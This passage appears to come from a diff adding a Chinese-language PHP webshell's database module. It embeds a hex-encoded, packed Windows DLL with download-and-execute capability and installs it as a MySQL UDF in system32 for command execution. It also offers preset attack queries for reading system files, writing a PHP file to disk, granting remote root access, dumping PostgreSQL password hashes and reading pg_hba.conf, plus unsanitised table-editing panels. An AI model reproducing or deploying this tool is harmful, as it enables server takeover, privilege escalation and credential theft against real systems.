03A6699AA6BCC4CCD4DCA6691A9AE4F7971C1C189AA6699A18141410100C699AA6690C08080404A6EB0E231F05100318E05A129A283C8BB7B56C21CC96870F8313112A210CB700ACE86FE2570FAFAE83FEE08BDE770D0000EC1A0C2715773A7256B4D59382AB1D3D530256F057752B566A082A898850D71C14229893820F56741956947414EBA96A72A31644577C54EC8157B40E5BEB56D5612ED4230603EE265D565698182B52F7616904FC8AAEFF41BE0D50BCC5273ADC3701435C147C29985047568D7C07FB2D162BF90CAD240600473B5B290E2B1E7CA55E90C3B6CA11C56056821834BFA3A546088B87803B08742246C2ED46D988E80713720FF9240A606106817D0D4C02DB6E8350F531845E39C3D9AC60B6DDBC17721507CA532C1EB22D19080C16334BA55C1DE660080C7BD27502BD40DF1283CFDEDBE158EC22C90314BD737500A20F08B1443C998A74F6466221F816F87544837E5F23E886DE04FD0C958D460CFE1EC413ABFF4620ED8D5E0C70F61B090D803874180C84884388239F4500C3A585BF2D50DDE52B116A245999F7F9D1F03DD4A80336C66D2983FA3BF137EF2083C5044381FD5FA40F8C5E3984F86E23EB4EBE3E56B93E126F843E8D0C9DA9901E9C5F8684F83BC27318C01103D6EBE48D0815EAC1E30543C70B2256C9A012346C430BFCFE07563B0D535773F7C1903683D0C93CC18F07833C50B0DA28E4361AF51B053E1E751EE28B104974084958DEDE680284F4EB0804F5EB03F6A337DE4600E836891C308A5BEB161EE4C2DA027F7B5882864329F459376A830037C674320E1F5AC9F31CD6CA7E50505031C85A7B830CB2247ED4CAE264CF731FCCA3AD8D8800AB740F00E16AD8580841533AFDECA4963B343D1C063CC0C1E7154A81B1BCF749D418C5604B9E381780360CB2AD2C98248184E169CA5190C61D5642D4920179728BC3C36C8BB1E14E4152530411590F250306F029535DEC60B404CBF0F6D915B7B10211B0FF0336E4106AC0A359B43809F2A22CDEB43F4AA87BF6F30549C0FF4AB890073C9013082CBAAED003FC0C203F087900724AA84AA8A6E9BAD83F069F038C848BA6699A7C746C645C3F5D3B8F004AA8F003C00164D134CCE03F39859CE44C404BF04B4845D375DD2C900B580378A03C0239903F4C404C405D171B855B7FF403FC344DD3750E04030C141C24871160D1373F1F164DD37505500358687C3FAB2F4A003E1CCCA0022F907956F6C112883F1594D9815DE874095900FE37ABC645FF10EB0B8065FF8DECFC0FC0861A806811F6C540750839B72F455328E48B4DFF806A83C15E02056083236DC3DE2374001680E1A4C3F96C01175510100840EB07F60D4A30797FF810742604ADB7F2F220741830740A5074897505216A16A21521020C2ABD7CDF060389F0BA00077D0423CABF54B47F037D3BC87F31742A3BCB43C3ED4AB06D195433744D0739BA91AD85CC43F84C0804BAA67B7B435AF8EB3E26052F070643CE806F1E3BCA7423C2163CDD1188188F4F5B3B0507E69EE00113FDBEFEFF32FC5DF4C77413368E54F7D1234D143737B8DB1172A840C581CE1F0FF601F6ED63DBB7C4DE020BF7A8DF081408EB0AA8115D2CBDB1060B1068ADD8233BD39241E0DF751AE918016D0D8231816ABFB78D0A9E2DA82BCEF008022D6030EA3BAC39BF4213628561325256E8B383459875090A18EBD8D583F9B19A4DFF40EB09AF08146C410F78473159812781D6C68A11C380C901C630045A8452C9C2DD05BEFF0B48884CBD7578EA7473F606818116F502746D8B945DA2220B1E8B067519FC35008FBE813883E94B1D2A1759D888B60DBCEB584213E2137C677E2511335669A116807D131A11825F178CF015554445E2811980C73E5A74B52DD81C2EAF737808AB60072DDC07808B8C4E8BF390E005C916713F8005431467736A081E8233918B09570441464E600F3B32B24C245B231A0EF2F2B64D79D50D04FEEB08FDEB03F4C11A824C0C5F198A1141AA1EEC1BF16488174762EEEB05838C00F0D32401119C2CCBC983C1E134271208006DCC6AC738682DD9D2D96608C6C3000C085DC049B38807CA185A1965872312F52A65520945A9F88959AC913859A6E80AB82C06F651FAD756F29B6A0A8FD2268988391874744617CAE630428A78A9E850538B58DA71F0D73BC6CC214D628386A240C893715963FF25DAE2BF94603975E8F3ABAA895D0F6C16E8D386EBD77DEEB8BC4DEFDD405B2B04D30CAFCBB641FFE87BA312CA300F87942588CD546C9CD28DEEE356F7E58D614F6F52F3AB04AA8D9E94FA52A15498BCB6DE2C8A5101E84B51844B5CFA3BC777B7EFEE2D68FC8A922080089047401376F5F84BB1F04141803965D47983C308837DFC6913B93638C1E2C8914CBA6DA087F750A3A4105384898C2AB8BFDF709140A5A559A3D1A5EB5240D1B3A660810547A8C6A19EC57EF508403DFF07F153382B89357BDF06F15335250700BA49F88816ADAB00981EA84C97DFE75E2E8604AFE9508301D08C4311946FA857DA70EF65402DDFFE01A8946CBBE78FA8FF1570F814FD9635D1CBF4FC750F87DC19F6AE1CC7492DA463E7E804741704D7A628F00D740C802CB804F93CCF763605120B0811578460862571BEC01F88E1625F044CE5CF52B1404522283456A166B453962215127FE081E016CFBE8C888405ECDF7FA1150D8AC672F48A45F2C6850D20166E104D3B375A55F3B80A2D415FA0183BC1771D48BC3A08768F2A41B820008BD9CBAB6B81FA47AA42428A42FF84C15FF8EC352C900EFA8B358D7A029A33D0213989B2EF8C7DDD5A9123FD1D561E9291DD6C5634235842FCAD803DB8682E2768002E7DB75CCA8D8D726695F6C2CDEF67341503108A940564889060EFCEC9DBEB1C1A027410205BEBE380A06E6834781CDE4400BFEB491ADB0D1315DA417219045AB2BC8DFDC34BC880C1208888491F1D617213C3DE9CBC7A770E20E920EBE04C77F915774ABE5EC97394886AFDA90210F970505C59FC94882F1FD575798FAC426866281854FAF7403D6709FC161C57FFD664BEDB29FA297450100CC7D7BE5DA0F85714B00C06B45B99A0BB88CD16FFD0D602DEE66BED10B405531104EE1590601D4D0AC00982FA8659A057040481282056B064F0BB470B0C85965E91F983FA982DE9ED6A47C025152BD16075FA9AEF10D06D020610CA1A251C8E1D1429168F58A6EB3A06234AE2EB8807351E94CC5289365A271ACF0D56AF1235140FCBFFE1C3A0B7AC99AD78F2971B180A0360B615DCC1A8F1223E1975EF13A0876A064F4AACEC508B9E1D9C345CE66D442C51681C4C147D452E6AB6AD50293F89B1C1E0939D084B1A6606AB9F44BC3805750BBB0D416F064D6B50AF256BBC5C487D469512980708D0E250853014526D2FD050BCDE1BF6034EBC05A908D81A4A8615B06F126945FCDE30A22DC25B53C366A035AADB9C65F874E144346021CE0C29800750A09543B566401343E0E0043812F107C406F98A4804657FAB99A5DF89084B1D8A40053C0A84BED01D154D1088E4078D53010F8B459718C682050ABC160C166D515452B810448B664DDB39AD976865D1068F1496935166EB006D912446E98B17684D8B3D4BE1F40155F64235D144E68AE5A87CC50EE0D0F876EB3B0A81A274BBBE0C04E724FB027FAD0D03808136C85B00140C0075FFD06C0B23578A101A33AE3CD45FBB2D0D0BB443FF135A12493944BBDD2DA2182140803848068308CDCD76BF5F5EC6030D4344EB73CA2BD36E3260E7FF6A01CF0A090E683BAA479F74411ED101A2358848D12D821A85FF9D468B0F4388443105EB293B700420DEB6250CFF6305160AEB18A55E40D812FFA9193507AD9C7B77BF925B761A750D85115C74F3064942D12EE5E4AC062B4688210250A8EAA9D800F91131357540346A46C42BF87D5BF41F8AE875465757EB533038154C20629236B1F2DBCA6A711D23EB222014A660B0341B48E1FE033130EB651DBA397D147E108AB25936C514105A66B67DF436E1A11D591D161C0286D98CD9181FD84872DA478DC159D22AD3A62018366B5B0CBE3C20732EDB6CB74EC1245E0140503720CA3F408C4C793BDF0F849CD25B6CA014041B9C0324FCF25DAADB2EDE8BC441DC8367EB138DB5D751678BF026118BB5D9F6AD3867DC7466534CDC6121CB9EEB9257F44DEC1AA574A3A6884412D80A7432B06D4B6C5E0D40403E1C78B2C8663713EDD57F1EDA321C0962C321858F2065C814876515F4A1F20BD966B6B336DC895DE08B15483212BDB27DB953D6BDDF74B45664E467749C8F6AB35BA3B30E03EB068C28EDD5618F54D5CC0AB11B88108B71B77179088B2680AD9F44568D4A9E0D7FBA0DBA5580F1491AF30C5E5CC60736942B498BC24E58ED61328118B4ECAC375E2D043E3E8A515E564234632356A53C0497CFC819DF1D1B56495340CEC2C73B028658A3432D24F276607CDD1C490554CC335033E433B263345BC8945D18908DD9968D532C34201BC53619181FE0DB630AD06A15B5CB3EBB15B0107CD3DC57CC0FE16050B3EB0B83DB33ECB6119CF6112949E0565FF670C9DA1C5552F8D7B2703A84933C8AF5CC38680C42EF047AC25F9A51D4E7023A01752E0A1BB1D552F0263A613E0A431D966EE146873A4101191411035BA330D56BFDD51A75555B430BB3FFB090D3D18E016DADCA0B4301070242B5CFD6ED44E94130E01302A86658AD799AAF335BD2CAC9C14A6D42AA5BC98CCC4F56530B4A55B050009C1B201AFFAE023307420FAB0424EBF3775DFE5ABB8C90416E14460FA373F201E6E20204C420753F98FD646C3A0AF38D46FF3B9CB8ACF87B5643BE51EEB60E56485481DF4C03C12580FC8D161DDEBD0A80E17FEB0D811FDED0540440391180C980DE880A81440B8D6686C5C671D0419080E3D60AC0C006A0A8487D065C9C249E5862050D10565D7426E8BC00BF83C410E0AE41C305E3CC0CB568E12EF1C6012D415CEB030A915B4013D4B88110B5DAA5DAD2630883FB0950769225FF2F7D6B2004308819413577DA802100498A178A018878007F8B118F49473BF972F21B365341486FFF948BD6A81E588D39C470CD4143A1D03B5CCF252EB6C1FF46758A274738C474F22C419D1AE324EC85D2E1C5FE4186E00E824A6F1474D21AC0E6FFD1575F3AEB78F0FFBF34019130007F0419C0D96EE2EB15130DC9817888C2C77895FFB541599EEE9067271FD82E760B3E6A602266C4040907B742A68D38CFDA39CB15580B0318AC05224EEBFB55D0C2052241280EABE097CF0B6C112836D1E970DA0C1B1FFF804EB741B35AB6201726828ADDFFDBEE0774217F1D467BFC720638DC770202E638F809D8B517BA35C6F7750DEBD733C908023657B34D9BB9AFE582806D6AE4BF0FF35FA6ED85B50A321926EF2BB446AB2F99EE57EBB68DDE5AC3EC74230BAB1F775165EB3AC0F0596B0979D584B5634DCA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; +$query="INSERT into udf_temp values (CONVERT($code,CHAR));"; + if(!mysql_query($query, $link)) + { + mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); + die('安装dll失败'.mysql_error()); + } + else + { + $dllname = "mysqlDll.dll"; + if(file_exists("c:\\windows\\system32\\")) $dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll"; + elseif(file_exists("c:\\winnt\\system32\\")) $dir="c:\\\\winnt\\\\system32\\\\mysqlDll.dll"; + if(file_exists($dir)) { + $time = time(); + $dir = str_replace("mysqlDll","mysqlDll_$time",$dir); + $dllname = str_replace("mysqlDll","mysqlDll_$time",$dllname); + } +$query = "SELECT udf FROM udf_temp INTO DUMPFILE '".$dir."';" ; + if(!mysql_query($query, $link)) + { + die("安装失败:$dir无权".mysql_error()); + } + else + { + echo ''.$dir.'安装成功
                            '; + } +} +mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); +$result = mysql_query("Create Function state returns string soname '$dllname'", $link) or die(mysql_error()); +if($result) { + echo "成功
                            返回"; + exit(); +} +} +} +$ss=stripslashes($post_sql); +print<< +
                            +
                            +END; +if ($_POST[post_sql]) { +$link = mysql_connect ($mhost,$muser,$mpass) or die(mysql_error()); +if($mdata) mysql_select_db($mdata,$link) or die(mysql_error()); +$query = stripslashes($post_sql); +$result = mysql_query($query, $link) or die(mysql_error()); +echo "
                            "; +} +else +{ + if(!empty($_POST['msql'])) + { + $msql = $_POST['msql']; + if($result = @mysql_query($msql,$conn)) + { + $MSG_BOX = '执行SQL语句成功
                            '; + $k = 0; + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + } + else $MSG_BOX .= mysql_error(); + } +print<< +function nFull(i){ + Str = new Array(11); + Str[0] = "select version();"; + Str[1] = "select load_file(0x633A5C5C626F6F742E696E69) FROM user into outfile 'D://a.txt'"; + Str[2] = "select '' into outfile 'F://a.php';"; + Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
                            +
                            + + +END; +} + if($MSG_BOX != '') echo '
                            '.$MSG_BOX.'
                            '; + else echo ''; + return true; +} +//MYSQL管理 +function Mysql_Len($data,$len) +{ + if(strlen($data) < $len) return $data; + return substr_replace($data,'...',$len); +} +function Mysql_Msg() +{ + $conn = @mysql_connect($_COOKIE['m_silichost'].':'.$_COOKIE['m_silicport'],$_COOKIE['m_silicuser'],$_COOKIE['m_silicpass']); + if($conn) + { +print<< +function Delok(msg,gourl) +{ + smsg = "确定要删除[" + unescape(msg) + "]吗?"; + if(confirm(smsg)){window.location = gourl;} +} +function Createok(ac) +{ + if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);'; + if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;'; + if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;'; + return false; +} + +END; + $BOOL = false; + $MSG_BOX = '用户:'.$_COOKIE['m_silicuser'].'      地址:'.$_COOKIE['m_silichost'].':'.$_COOKIE['m_silicport'].'      版本:'; + $k = 0; + $result = @mysql_query('select version();',$conn); + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + echo '
                            数据库:'; + $result = mysql_query("SHOW DATABASES",$conn); + while($db = mysql_fetch_array($result)){echo '  ['.$db['Database'].']';} + echo '
                            '; + if(isset($_GET['db'])) + { + mysql_select_db($_GET['db'],$conn); + if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? '执行成功' : '执行失败 '.mysql_error();} + if(is_array($_POST['insql'])) + { + $query = 'INSERT INTO '.$_GET['table'].' ('; + foreach($_POST['insql'] as $var => $key) + { + $querya .= $var.','; + $queryb .= '\''.addslashes($key).'\','; + } + $query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');'; + $MSG_BOX = mysql_query($query,$conn) ? '添加成功' : '添加失败 '.mysql_error(); + } + if(is_array($_POST['upsql'])) + { + $query = 'UPDATE '.$_GET['table'].' SET '; + foreach($_POST['upsql'] as $var => $key) + { + $queryb .= $var.'=\''.addslashes($key).'\','; + } + $query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';'; + $MSG_BOX = mysql_query($query,$conn) ? '修改成功' : '修改失败 '.mysql_error(); + } + if(isset($_GET['del'])) + { + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $query = 'DELETE FROM '.$_GET['table'].' WHERE '; + foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';} + $where = $query.substr($queryc, 0, -4).';'; + $MSG_BOX = mysql_query($where,$conn) ? '删除成功' : '删除失败 '.mysql_error(); + } + $action = '?s=r&db='.$_GET['db']; + if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? '删除成功' : '删除失败 '.mysql_error();} + if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];} + if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert']; + echo '
                            '; + echo ' '; + echo ' '; + echo ' '; + echo ' '; + echo '
                            '; + echo '
                            '.$MSG_BOX.'
                            '.$_GET['db'].' ---> '; + if(isset($_GET['table'])) + { + echo ''.$_GET['table'].' '; + echo '[插入]
                            '; + if(isset($_GET['edit'])) + { + if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table']; + echo '
                            '; + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $u = 0; + foreach($good as $var => $key) + { + $queryc .= $var.'=\''.$key.'\' AND '; + $type = @mysql_field_type($result, $u); + $len = @mysql_field_len($result, $u); + echo '
                            '.$var.' '.$type.'('.$len.')
                            '; + $u++; + } + $where = 'WHERE '.substr($queryc, 0, -4); + echo ''; + echo '
                            '; + } + else + { + $query = 'SHOW COLUMNS FROM '.$_GET['table']; + $result = mysql_query($query,$conn); + $fields = array(); + $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn)); + if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20; + echo ''; + echo ''; + while($row = @mysql_fetch_assoc($result)) + { + array_push($fields,$row['Field']); + echo ''; + } + echo ''; + if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;'; + $result = mysql_query($query,$conn); + $v = $p; + while($text = @mysql_fetch_assoc($result)) + { + echo ''; + foreach($fields as $row){echo '';} + echo ''."\r\n";$v++; + } + echo '
                            操作'.$row['Field'].'
                            修改 '; + echo ' 删除 '.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'
                            '; + for($i = 1;$i <= ceil($row_num / 20);$i++){$k = ((int)$_GET['p'] == $i) ? ''.$i.'' : $i;echo '['.$k.'] ';} + echo '
                            '; + } + } + elseif(isset($_GET['insert'])) + { + echo ''.$_GET['insert'].''; + $result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn); + $fieldnum = @mysql_num_fields($result); + echo '
                            '; + for($i = 0;$i < $fieldnum;$i++) + { + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + echo '
                            '.$name.' '.$type.'('.$len.')
                            '; + } + echo '
                            '; + } + else + { + $query = 'SHOW TABLE STATUS'; + $status = @mysql_query($query,$conn); + while($statu = @mysql_fetch_array($status)) + { + $statusize[] = $statu['Data_length']; + $statucoll[] = $statu['Collation']; + } + $query = 'SHOW TABLES FROM '.$_GET['db'].';'; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + $result = @mysql_query($query,$conn); + $k = 0; + while($table = mysql_fetch_row($result)) + { + echo ''; + echo ''; + echo ''."\r\n"; + $k++; + } + echo '
                            表名 操作 字符集 大小
                            '.$table[0].' 插入 删除 '.$statucoll[$k].''.File_Size($statusize[$k]).'
                            '; + } + } + } + else die('连接MYSQL失败,请重新登陆.'); + if(!$BOOL) echo ''; + return false; +} +//PostgreSQL操作 +function Pgr_sql() +{ +$pghost=$_POST['pghost'] ? $_POST['pghost']:''; +$pgport=$_POST['pgport'] ? $_POST['pgport']:''; +$pguser=$_POST['pguser'] ? $_POST['pguser']:'postgres'; +$pgpass=$_POST['pgpass'] ? $_POST['pgpass']:''; +$pgdb=$_POST['pgdb'] ? $_POST['pgdb']:'postgres'; +$pgquery=$_POST['pgsql'] ? $_POST['pgsql']:'select version()'; +$pgquery=stripslashes($pgquery); +print<< +function pgFull(i){ +Str = new Array(6); +Str[0] = "select version();"; +Str[1] = "select datname from pg_database;"; +Str[2] = "select DISTINCT table_name from information_schema.columns where table_schema !='information_schema' limit 1 offset n;"; +Str[3] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;"; +Str[4] = "select usename,passwd from pg_shadow;"; +Str[5] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; +pgform.pgsql.value = Str[i]; +return true; +} + +
                            + +

                            +服务器和端口为选填,数据库无法连接时可尝试不填写
                            +本脚本默认配备的SQL语句适用于PostgreSQL 8.1
                            +脱库请填写正确的数据库名
                            +列表段可用select relname from pg_stat_user_tables limit 1 offset n;
